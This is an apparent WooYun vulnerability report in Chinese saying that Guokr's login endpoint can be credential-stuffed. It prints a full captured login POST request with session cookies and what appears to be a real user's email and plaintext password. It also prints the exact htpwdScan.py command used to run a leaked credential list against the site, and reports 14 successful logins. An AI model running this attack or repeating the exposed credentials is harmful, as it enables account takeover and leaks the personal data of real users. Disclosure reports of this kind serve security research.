WooYun.org

今天李姐姐大婶在zone社区发布了一款神器 拿来测试一下 效果相当不错
由于数据量少 就拿了一个裤子进行测试 成功条数14条
果壳登录接口可被用于撞库 已验证可登录

POST /sign_in/?success=https%3A%2F%2Faccount.guokr.com%2Foauth2%2Fauthorize%2F%3Fclient_id%3D32353%26redirect_uri%3Dhttp%253A%252F%252Fwww.guokr.com%252Fsso%252F%253Flazy%253Dy%2526rid%253D691603653%2526success%253Dhttp%25253A%25252F%25252Fwww.guokr.com%25252F%26response_type%3Dcode%26state%3De9c1fee646be06a781a33d44a982e14045bf81d31c21323fc8d8c4ca37956944--1429844688%26suppress_prompt%3D1 HTTP/1.1
Host: account.guokr.com
Connection: keep-alive
Content-Length: 123
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://account.guokr.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://account.guokr.com/sign_in/?success=https%3A%2F%2Faccount.guokr.com%2Foauth2%2Fauthorize%2F%3Fclient_id%3D32353%26redirect_uri%3Dhttp%253A%252F%252Fwww.guokr.com%252Fsso%252F%253Flazy%253Dy%2526rid%253D691603653%2526success%253Dhttp%25253A%25252F%25252Fwww.guokr.com%25252F%26response_type%3Dcode%26state%3De9c1fee646be06a781a33d44a982e14045bf81d31c21323fc8d8c4ca37956944--1429844688%26suppress_prompt%3D1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: __utma=253067679.358546785.1429838379.1429841444.1429844695.3; __utmb=253067679.5.9.1429844700417; __utmc=253067679; __utmz=253067679.1429838379.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=253067679.|1=Is%20Registered=Yes=1; bfd_session_id=bfd_s=253067679.78576726.1429838378740&bfd_g=bffd842b2b484332000055bc01887008553727bc; tmc=4.253067679.25891806.1429844695229.1429844700940.1429844747823; tma=253067679.59622789.1429838378743.1429838378743.1429838378743.1; tmd=10.253067679.59622789.1429838378743.; session=31d58430-6359-4fe0-b092-2f87543990a2
csrf_token=1429848339.65%23%2307cce9a586aa38cbf0c3b0892493ddba861d2f1e&permanent=y&email=lgq.1217%40163.com&password=123456
所用命令：htpwdScan.py -f=post.txt -https -database email,password=123061.txt -regex="([^-]*)----([^-]*)" -err="login-error" -suc="delayShow" -fip
成功数量：14